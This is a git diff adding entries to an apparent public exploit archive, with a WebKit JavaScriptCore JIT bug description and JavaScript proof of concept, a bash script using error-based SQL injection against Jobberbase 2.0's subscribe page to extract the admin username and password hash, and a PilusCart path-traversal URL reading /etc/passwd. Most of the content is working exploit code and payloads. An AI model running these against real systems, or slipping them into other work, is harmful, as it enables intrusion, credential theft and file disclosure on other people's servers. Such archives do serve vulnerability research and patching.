diff --git a/exploits/multiple/dos/47316.txt b/exploits/multiple/dos/47316.txt
new file mode 100644
index 000000000..07db09ca6
--- /dev/null
+++ b/exploits/multiple/dos/47316.txt
@@ -0,0 +1,63 @@
+https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743
+
+case GetByVal: {
+    ...
+
+    unsigned numberOfArgumentsToSkip = 0;
+    if (candidate->op() == PhantomCreateRest)
+        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
+    
+    Node* result = nullptr;
+    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
+        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
+        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
+        index += numberOfArgumentsToSkip;
+        
+        bool safeToGetStack;
+        if (inlineCallFrame) {
+            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;
+
+        }
+        else {
+            safeToGetStack =
+                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;
+
+        }
+        if (safeToGetStack) {
+            StackAccessData* data;
+            VirtualRegister arg = virtualRegisterForArgument(index + 1);
+            if (inlineCallFrame)
+                arg += inlineCallFrame->stackOffset;
+
+            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
+            
+            Node* check = nullptr;
+            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
+                check = insertionSet.insertNode(
+                    nodeIndex, SpecNone, CheckInBounds, node->origin,
+                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
+            }
+            
+            result = insertionSet.insertNode(
+                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
+        }
+    }
+
+The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.
+
+PoC:
+function inlinee(index, value, ...rest) {
+    return rest[index | 0];  // GetByVal
+}
+
+function opt() {
+    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
+}
+
+inlinee(0, 0);
+
+for (let i = 0; i < 1000000; i++) {
+    opt();
+}
+
+print(opt());  // 0x1234
\ No newline at end of file
diff --git a/exploits/php/webapps/47314.sh b/exploits/php/webapps/47314.sh
new file mode 100755
index 000000000..cc9a49692
--- /dev/null
+++ b/exploits/php/webapps/47314.sh
@@ -0,0 +1,41 @@
+#!/bin/bash
+# Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection
+# Date: 29 August 2019
+# Exploit Author: Damian Ebelties (https://zerodays.lol/)
+# Vendor Homepage: http://www.jobberbase.com/
+# Version: 2.0
+# Tested on: Ubuntu 18.04.1
+
+: '
+
+    The page "/subscribe/" is vulnerable for SQL injection.
+
+    Simply make a POST request to /subscribe/ with the parameters:
+     - email=jobber@zerodays.lol
+     - category=1337<inject_here>
+
+    You can use this script to verify if YOUR OWN instance is vulnerable.
+
+    $ bash verify.sh http://localhost/jobberbase/
+    admin:1a1dc91c907325c69271ddf0c944bc72
+
+'
+
+: 'Fetch the username'
+USERNAME=$(curl -s "$1/subscribe/" \
+                -d "email=jobber@zerodays.lol" \
+                -d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \
+                -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
+
+: 'Ugly way to fetch the password hash'
+PASS=$(curl -s "$1/subscribe/" \
+            -d "email=jobber@zerodays.lol" \
+            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \
+            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
+WORD=$(curl -s "$1/subscribe/" \
+            -d "email=jobber@zerodays.lol" \
+            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \
+            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
+
+: 'Print the user:hash (note: default login is admin:admin)'
+echo -e "$USERNAME:$PASS$WORD"
\ No newline at end of file
diff --git a/exploits/php/webapps/47315.txt b/exploits/php/webapps/47315.txt
new file mode 100644
index 000000000..7acceb4a8
--- /dev/null
+++ b/exploits/php/webapps/47315.txt
@@ -0,0 +1,19 @@
+# Exploit Title: PilusCart <= 1.4.1 - Local File Disclosure
+# Date: 29 August 2019
+# Exploit Author: Damian Ebelties (https://zerodays.lol/)
+# Vendor Homepage: https://sourceforge.net/projects/pilus/
+# Version: <= 1.4.1
+# Tested on: Ubuntu 18.04.1
+
+The e-commerce software 'PilusCart' is not validating the 'filename' passed correctly,
+which leads to Local File Disclosure.
+
+As of today (29 August 2019) this issue is unfixed.
+
+Vulnerable code: (catalog.php on line 71)
+
+    readfile("$direktori$filename");
+
+Proof-of-Concept:
+
+    https://domain.tld/catalog.php?filename=../../../../../../../../../etc/passwd
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 4b44501a8..027651e0b 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -6552,6 +6552,7 @@ id,file,description,date,author,type,platform,port
 47282,exploits/windows_x86-64/dos/47282.txt,"GetGo Download Manager 6.2.2.3300 - Denial of Service",2019-08-16,"Malav Vyas",dos,windows_x86-64,
 47285,exploits/windows/dos/47285.py,"RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service",2019-08-19,Achilles,dos,windows,
 47309,exploits/windows/dos/47309.py,"Outlook Password Recovery 2.10 - Denial of Service",2019-08-28,"Velayutham Selvaraj_ Praveen Thiyagarayam",dos,windows,
+47316,exploits/multiple/dos/47316.txt,"Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform",2019-08-29,"Google Security Research",dos,multiple,
 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@@ -41670,3 +41671,5 @@ id,file,description,date,author,type,platform,port
 47310,exploits/php/webapps/47310.txt,"SQLiteManager 1.2.0 / 1.2.4 - Blind SQL Injection",2019-08-28,"Rafael Pedrero",webapps,php,80
 47311,exploits/php/webapps/47311.txt,"Jobberbase 2.0 CMS - 'jobs-in' SQL Injection",2019-08-28,"Naren Jangra",webapps,php,80
 47312,exploits/php/webapps/47312.html,"WordPress Plugin GoURL.io < 1.4.14 - File Upload",2018-10-31,"Pouya Darabi",webapps,php,
+47314,exploits/php/webapps/47314.sh,"Jobberbase 2.0 - 'subscribe' SQL Injection",2019-08-29,"Damian Ebelties",webapps,php,80
+47315,exploits/php/webapps/47315.txt,"PilusCart 1.4.1 - Local File Disclosure",2019-08-29,"Damian Ebelties",webapps,php,80